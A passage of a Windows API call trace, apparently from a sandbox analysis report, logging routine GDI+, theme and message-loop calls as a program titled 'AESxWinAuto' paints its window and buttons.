(matrix=0x3ae8e8) returned 0x0 [0065.420] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.420] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae900) returned 0x0 [0065.420] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.420] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.420] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.420] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.420] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.420] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.420] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.420] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae92c) returned 0x0 [0065.420] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae91c) returned 0x0 [0065.421] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae91c) returned 0x0 [0065.421] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.421] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae934) returned 0x0 [0065.421] GetCurrentObject (hdc=0xc010944, type=0x1) returned 0x1b00017 [0065.421] GetCurrentObject (hdc=0xc010944, type=0x2) returned 0x1900010 [0065.421] GetCurrentObject (hdc=0xc010944, type=0x7) returned 0x3c05094d [0065.421] GetCurrentObject (hdc=0xc010944, type=0x6) returned 0x18a002e [0065.421] SaveDC (hdc=0xc010944) returned 1 [0065.421] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xe040945 [0065.421] GetClipRgn (hdc=0xc010944, hrgn=0xe040945) returned 0 [0065.422] SelectClipRgn (hdc=0xc010944, hrgn=0xa4040957) returned 2 [0065.422] DeleteObject (ho=0xe040945) returned 1 [0065.422] DeleteObject (ho=0xa4040957) returned 1 [0065.422] OffsetViewportOrgEx (in: hdc=0xc010944, x=0, y=0, lppt=0x2603bc0 | out: lppt=0x2603bc0) returned 1 [0065.422] DrawThemeParentBackground () returned 0x0 [0065.422] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae6a8 | out: lpwndpl=0x3ae6a8) returned 1 [0065.422] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae64c | out: lpRect=0x3ae64c) returned 1 [0065.422] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.422] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.422] GetSystemMetrics (nIndex=42) returned 0 [0065.422] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae50c, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.422] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae50c) returned 0xb [0065.422] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae554 | out: lpRect=0x3ae554) returned 1 [0065.422] GetCurrentObject (hdc=0xc010944, type=0x1) returned 0x1b00017 [0065.422] GetCurrentObject (hdc=0xc010944, type=0x2) returned 0x1900010 [0065.422] GetCurrentObject (hdc=0xc010944, type=0x7) returned 0x3c05094d [0065.422] GetCurrentObject (hdc=0xc010944, type=0x6) returned 0x18a002e [0065.422] SaveDC (hdc=0xc010944) returned 2 [0065.422] GetNearestColor (hdc=0xc010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.422] CreateSolidBrush (color=0xf0f0f0) returned 0x17100940 [0065.422] FillRect (hDC=0xc010944, lprc=0x3ae3f4, hbr=0x17100940) returned 1 [0065.422] DeleteObject (ho=0x17100940) returned 1 [0065.422] RestoreDC (hdc=0xc010944, nSavedDC=-1) returned 1 [0065.422] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.422] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.422] GetSystemMetrics (nIndex=42) returned 0 [0065.423] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.423] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.423] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4f4 | out: lpRect=0x3ae4f4) returned 1 [0065.423] GetCurrentObject (hdc=0xc010944, type=0x1) returned 0x1b00017 [0065.423] GetCurrentObject (hdc=0xc010944, type=0x2) returned 0x1900010 [0065.423] GetCurrentObject (hdc=0xc010944, type=0x7) returned 0x3c05094d [0065.423] GetCurrentObject (hdc=0xc010944, type=0x6) returned 0x18a002e [0065.423] SaveDC (hdc=0xc010944) returned 2 [0065.423] GetNearestColor (hdc=0xc010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.423] CreateSolidBrush (color=0xf0f0f0) returned 0x18100940 [0065.423] FillRect (hDC=0xc010944, lprc=0x3ae394, hbr=0x18100940) returned 1 [0065.423] DeleteObject (ho=0x18100940) returned 1 [0065.423] RestoreDC (hdc=0xc010944, nSavedDC=-1) returned 1 [0065.423] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.423] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.423] GetSystemMetrics (nIndex=42) returned 0 [0065.423] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.423] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.423] RestoreDC (hdc=0xc010944, nSavedDC=-1) returned 1 [0065.423] GdipReleaseDC (graphics=0x4ba1580, hdc=0xc010944) returned 0x0 [0065.423] IsAppThemed () returned 0x1 [0065.423] GetThemeAppProperties () returned 0x3 [0065.423] GetThemeAppProperties () returned 0x3 [0065.423] IsAppThemed () returned 0x1 [0065.423] GetThemeAppProperties () returned 0x3 [0065.423] GetThemeAppProperties () returned 0x3 [0065.423] IsThemePartDefined () returned 0x1 [0065.423] GdipCreateRegion (region=0x3ae8ac) returned 0x0 [0065.424] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.424] GdipCreateMatrix (matrix=0x3ae8ac) returned 0x0 [0065.424] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.424] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae8c4) returned 0x0 [0065.424] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.424] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.424] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.424] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.424] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.424] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.424] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.424] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8f0) returned 0x0 [0065.424] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8e0) returned 0x0 [0065.424] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8e0) returned 0x0 [0065.424] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.424] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8f8) returned 0x0 [0065.424] GetCurrentObject (hdc=0xc010944, type=0x1) returned 0x1b00017 [0065.424] GetCurrentObject (hdc=0xc010944, type=0x2) returned 0x1900010 [0065.424] GetCurrentObject (hdc=0xc010944, type=0x7) returned 0x3c05094d [0065.424] GetCurrentObject (hdc=0xc010944, type=0x6) returned 0x18a002e [0065.424] SaveDC (hdc=0xc010944) returned 1 [0065.424] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa5040957 [0065.424] GetClipRgn (hdc=0xc010944, hrgn=0xa5040957) returned 0 [0065.424] SelectClipRgn (hdc=0xc010944, hrgn=0x10040945) returned 2 [0065.424] DeleteObject (ho=0xa5040957) returned 1 [0065.424] DeleteObject (ho=0x10040945) returned 1 [0065.425] OffsetViewportOrgEx (in: hdc=0xc010944, x=0, y=0, lppt=0x2604458 | out: lppt=0x2604458) returned 1 [0065.425] IsAppThemed () returned 0x1 [0065.425] GetThemeAppProperties () returned 0x3 [0065.425] GetThemeAppProperties () returned 0x3 [0065.425] DrawThemeBackground () returned 0x0 [0065.425] RestoreDC (hdc=0xc010944, nSavedDC=-1) returned 1 [0065.425] GdipReleaseDC (graphics=0x4ba1580, hdc=0xc010944) returned 0x0 [0065.425] GdipCreateRegion (region=0x3ae894) returned 0x0 [0065.425] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.425] GdipCreateMatrix (matrix=0x3ae894) returned 0x0 [0065.425] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.425] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae8ac) returned 0x0 [0065.425] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.425] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.425] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.425] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.425] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.425] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.425] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.425] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8d8) returned 0x0 [0065.425] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8c8) returned 0x0 [0065.425] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8c8) returned 0x0 [0065.425] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.425] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8e0) returned 0x0 [0065.425] GetCurrentObject (hdc=0xc010944, type=0x1) returned 0x1b00017 [0065.425] GetCurrentObject (hdc=0xc010944, type=0x2) returned 0x1900010 [0065.425] GetCurrentObject (hdc=0xc010944, type=0x7) returned 0x3c05094d [0065.425] GetCurrentObject (hdc=0xc010944, type=0x6) returned 0x18a002e [0065.425] SaveDC (hdc=0xc010944) returned 1 [0065.426] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x11040945 [0065.426] GetClipRgn (hdc=0xc010944, hrgn=0x11040945) returned 0 [0065.426] SelectClipRgn (hdc=0xc010944, hrgn=0xa6040957) returned 2 [0065.426] DeleteObject (ho=0x11040945) returned 1 [0065.426] DeleteObject (ho=0xa6040957) returned 1 [0065.426] OffsetViewportOrgEx (in: hdc=0xc010944, x=0, y=0, lppt=0x2604734 | out: lppt=0x2604734) returned 1 [0065.426] IsAppThemed () returned 0x1 [0065.426] GetThemeAppProperties () returned 0x3 [0065.426] GetThemeAppProperties () returned 0x3 [0065.426] GetThemeBackgroundContentRect () returned 0x0 [0065.426] RestoreDC (hdc=0xc010944, nSavedDC=-1) returned 1 [0065.426] GdipReleaseDC (graphics=0x4ba1580, hdc=0xc010944) returned 0x0 [0065.426] IsAppThemed () returned 0x1 [0065.426] GetThemeAppProperties () returned 0x3 [0065.426] GetThemeAppProperties () returned 0x3 [0065.426] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3ae9f0) returned 0x0 [0065.427] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9dc) returned 0x0 [0065.427] GetCurrentObject (hdc=0xc010944, type=0x1) returned 0x1b00017 [0065.427] GetCurrentObject (hdc=0xc010944, type=0x2) returned 0x1900010 [0065.427] GetCurrentObject (hdc=0xc010944, type=0x7) returned 0x3c05094d [0065.427] GetCurrentObject (hdc=0xc010944, type=0x6) returned 0x18a002e [0065.427] SaveDC (hdc=0xc010944) returned 1 [0065.427] GetTextAlign (hdc=0xc010944) returned 0x0 [0065.427] GetTextColor (hdc=0xc010944) returned 0x0 [0065.427] GetCurrentObject (hdc=0xc010944, type=0x6) returned 0x18a002e [0065.427] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae73c | out: pv=0x3ae73c) returned 92 [0065.427] SelectObject (hdc=0xc010944, h=0x70a0932) returned 0x18a002e [0065.427] GetBkMode (hdc=0xc010944) returned 2 [0065.427] SetBkMode (hdc=0xc010944, mode=1) returned 2 [0065.427] DrawTextExW (in: hdc=0xc010944, lpchText="button8", cchText=7, lprc=0x3ae820, format=0x102415, lpdtp=0x2604acc | out: lpchText="button8", lprc=0x3ae820) returned 13 [0065.428] DrawTextExW (in: hdc=0xc010944, lpchText="button8", cchText=7, lprc=0x3ae970, format=0x102015, lpdtp=0x2604acc | out: lpchText="button8", lprc=0x3ae970) returned 13 [0065.428] RestoreDC (hdc=0xc010944, nSavedDC=-1) returned 1 [0065.428] GdipReleaseDC (graphics=0x4ba1580, hdc=0xc010944) returned 0x0 [0065.428] GetFocus () returned 0x1025e [0065.428] IsAppThemed () returned 0x1 [0065.428] GetThemeAppProperties () returned 0x3 [0065.428] GetThemeAppProperties () returned 0x3 [0065.429] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebc8) returned 0x0 [0065.429] BitBlt (hdc=0x701093a, x=0, y=0, cx=56, cy=19, hdcSrc=0xc010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0065.429] GdipReleaseDC (graphics=0x4ba1580, hdc=0xc010944) returned 0x0 [0065.429] SelectPalette (hdc=0x701093a, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.429] SelectObject (hdc=0xc010944, h=0x185000f) returned 0x3c05094d [0065.429] DeleteDC (hdc=0xc010944) returned 1 [0065.429] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0065.429] EndPaint (hWnd=0x1023e, lpPaint=0x3aeb6c) returned 1 [0065.429] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.429] IsWindowUnicode (hWnd=0x10240) returned 1 [0065.429] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.429] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.429] DispatchMessageW (lpMsg=0x3af06c) returned 0x1 [0065.429] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10240, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0065.430] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae69c | out: lpwndpl=0x3ae69c) returned 1 [0065.430] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae640 | out: lpRect=0x3ae640) returned 1 [0065.430] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.430] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.430] GetSystemMetrics (nIndex=42) returned 0 [0065.430] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae500, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.430] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae500) returned 0xb [0065.430] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae548 | out: lpRect=0x3ae548) returned 1 [0065.430] GetCurrentObject (hdc=0xf010943, type=0x1) returned 0x1b00017 [0065.430] GetCurrentObject (hdc=0xf010943, type=0x2) returned 0x1900010 [0065.430] GetCurrentObject (hdc=0xf010943, type=0x7) returned 0xb050946 [0065.430] GetCurrentObject (hdc=0xf010943, type=0x6) returned 0x18a002e [0065.430] SaveDC (hdc=0xf010943) returned 1 [0065.430] GetNearestColor (hdc=0xf010943, color=0xf0f0f0) returned 0xf0f0f0 [0065.430] CreateSolidBrush (color=0xf0f0f0) returned 0x19100940 [0065.430] FillRect (hDC=0xf010943, lprc=0x3ae3e8, hbr=0x19100940) returned 1 [0065.430] DeleteObject (ho=0x19100940) returned 1 [0065.430] RestoreDC (hdc=0xf010943, nSavedDC=-1) returned 1 [0065.430] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.430] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.430] GetSystemMetrics (nIndex=42) returned 0 [0065.430] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4a0, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.430] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4a0) returned 0xb [0065.430] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4e8 | out: lpRect=0x3ae4e8) returned 1 [0065.430] GetCurrentObject (hdc=0xf010943, type=0x1) returned 0x1b00017 [0065.430] GetCurrentObject (hdc=0xf010943, type=0x2) returned 0x1900010 [0065.430] GetCurrentObject (hdc=0xf010943, type=0x7) returned 0xb050946 [0065.430] GetCurrentObject (hdc=0xf010943, type=0x6) returned 0x18a002e [0065.430] SaveDC (hdc=0xf010943) returned 1 [0065.430] GetNearestColor (hdc=0xf010943, color=0xf0f0f0) returned 0xf0f0f0 [0065.430] CreateSolidBrush (color=0xf0f0f0) returned 0x1a100940 [0065.430] FillRect (hDC=0xf010943, lprc=0x3ae388, hbr=0x1a100940) returned 1 [0065.430] DeleteObject (ho=0x1a100940) returned 1 [0065.430] RestoreDC (hdc=0xf010943, nSavedDC=-1) returned 1 [0065.430] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.431] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.431] GetSystemMetrics (nIndex=42) returned 0 [0065.431] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4a0, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.431] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4a0) returned 0xb [0065.431] SetTextColor (hdc=0xf010943, color=0x0) returned 0x0 [0065.431] SetBkColor (hdc=0xf010943, color=0xffffff) returned 0xffffff [0065.431] GetSysColorBrush (nIndex=5) returned 0x1100060 [0065.431] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.431] IsWindowUnicode (hWnd=0x10244) returned 1 [0065.431] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.431] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.431] DispatchMessageW (lpMsg=0x3af06c) returned 0x1 [0065.431] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x10244, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0065.431] SetTextColor (hdc=0x10010943, color=0x0) returned 0x0 [0065.431] SetBkColor (hdc=0x10010943, color=0xffffff) returned 0xffffff [0065.431] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.431] IsWindowUnicode (hWnd=0x10246) returned 1 [0065.431] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.431] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.431] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.431] BeginPaint (in: hWnd=0x10246, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x180107ac [0065.432] SelectPalette (hdc=0x180107ac, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.432] CreateCompatibleDC (hdc=0x180107ac) returned 0x12010944 [0065.432] SelectObject (hdc=0x12010944, h=0x3c05094d) returned 0x185000f [0065.432] GdipCreateFromHDC (hdc=0x12010944, graphics=0x3aeb68) returned 0x0 [0065.432] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0065.432] GdipSetClipRectI (graphics=0x4ba1580, x=0, y=0, width=56, height=19, combineMode=0x0) returned 0x0 [0065.432] GdipCreateMatrix (matrix=0x3aebd0) returned 0x0 [0065.432] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.432] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aebe8) returned 0x0 [0065.432] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.432] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.432] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.432] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.432] GdipCreateRegion (region=0x3aebd0) returned 0x0 [0065.432] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.432] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebdc) returned 0x0 [0065.432] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec08) returned 0x0 [0065.432] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfdab0dbd) returned 0x0 [0065.432] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.432] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea2c) returned 0x0 [0065.432] GetCurrentObject (hdc=0x12010944, type=0x1) returned 0x1b00017 [0065.432] GetCurrentObject (hdc=0x12010944, type=0x2) returned 0x1900010 [0065.432] GetCurrentObject (hdc=0x12010944, type=0x7) returned 0x3c05094d [0065.432] GetCurrentObject (hdc=0x12010944, type=0x6) returned 0x18a002e [0065.432] SaveDC (hdc=0x12010944) returned 1 [0065.433] GetNearestColor (hdc=0x12010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.433] GetNearestColor (hdc=0x12010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.433] GetNearestColor (hdc=0x12010944, color=0x696969) returned 0x696969 [0065.433] GetNearestColor (hdc=0x12010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.433] GetNearestColor (hdc=0x12010944, color=0x0) returned 0x0 [0065.433] GetNearestColor (hdc=0x12010944, color=0xffffff) returned 0xffffff [0065.433] GetNearestColor (hdc=0x12010944, color=0xe5e5e5) returned 0xe5e5e5 [0065.433] GetNearestColor (hdc=0x12010944, color=0xd7d7d7) returned 0xd7d7d7 [0065.433] GetNearestColor (hdc=0x12010944, color=0x0) returned 0x0 [0065.433] RestoreDC (hdc=0x12010944, nSavedDC=-1) returned 1 [0065.433] GdipReleaseDC (graphics=0x4ba1580, hdc=0x12010944) returned 0x0 [0065.433] IsAppThemed () returned 0x1 [0065.433] GetThemeAppProperties () returned 0x3 [0065.433] GetThemeAppProperties () returned 0x3 [0065.433] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x3aea44, fWinIni=0x0 | out: pvParam=0x3aea44) returned 1 [0065.433] SendMessageW (hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.433] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.433] IsAppThemed () returned 0x1 [0065.433] GetThemeAppProperties () returned 0x3 [0065.433] GetThemeAppProperties () returned 0x3 [0065.433] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.433] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae78c | out: pv=0x3ae78c) returned 92 [0065.433] DrawTextExW (in: hdc=0x15010934, lpchText="button9", cchText=7, lprc=0x3ae8c8, format=0x102415, lpdtp=0x2605860 | out: lpchText="button9", lprc=0x3ae8c8) returned 13 [0065.433] IsAppThemed () returned 0x1 [0065.433] GetThemeAppProperties () returned 0x3 [0065.433] GetThemeAppProperties () returned 0x3 [0065.434] IsAppThemed () returned 0x1 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] GetFocus () returned 0x1025e [0065.434] IsAppThemed () returned 0x1 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] IsAppThemed () returned 0x1 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] IsThemePartDefined () returned 0x1 [0065.434] IsAppThemed () returned 0x1 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0065.434] IsAppThemed () returned 0x1 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] IsAppThemed () returned 0x1 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] GetThemeAppProperties () returned 0x3 [0065.434] IsThemePartDefined () returned 0x1 [0065.434] GdipCreateRegion (region=0x3ae8e8) returned 0x0 [0065.434] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.434] GdipCreateMatrix (matrix=0x3ae8e8) returned 0x0 [0065.434] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.434] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae900) returned 0x0 [0065.434] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.434] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.434] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.434] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.434] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.434] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.434] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.434] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae92c) returned 0x0 [0065.434] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae91c) returned 0x0 [0065.434] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae91c) returned 0x0 [0065.434] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.434] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae934) returned 0x0 [0065.434] GetCurrentObject (hdc=0x12010944, type=0x1) returned 0x1b00017 [0065.434] GetCurrentObject (hdc=0x12010944, type=0x2) returned 0x1900010 [0065.434] GetCurrentObject (hdc=0x12010944, type=0x7) returned 0x3c05094d [0065.434] GetCurrentObject (hdc=0x12010944, type=0x6) returned 0x18a002e [0065.434] SaveDC (hdc=0x12010944) returned 1 [0065.434] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa9040957 [0065.435] GetClipRgn (hdc=0x12010944, hrgn=0xa9040957) returned 0 [0065.435] SelectClipRgn (hdc=0x12010944, hrgn=0x18040945) returned 2 [0065.435] DeleteObject (ho=0xa9040957) returned 1 [0065.435] DeleteObject (ho=0x18040945) returned 1 [0065.435] OffsetViewportOrgEx (in: hdc=0x12010944, x=0, y=0, lppt=0x2605f9c | out: lppt=0x2605f9c) returned 1 [0065.435] DrawThemeParentBackground () returned 0x0 [0065.435] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae6a8 | out: lpwndpl=0x3ae6a8) returned 1 [0065.435] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae64c | out: lpRect=0x3ae64c) returned 1 [0065.435] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.435] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.435] GetSystemMetrics (nIndex=42) returned 0 [0065.435] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae50c, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.435] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae50c) returned 0xb [0065.435] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae554 | out: lpRect=0x3ae554) returned 1 [0065.435] GetCurrentObject (hdc=0x12010944, type=0x1) returned 0x1b00017 [0065.435] GetCurrentObject (hdc=0x12010944, type=0x2) returned 0x1900010 [0065.435] 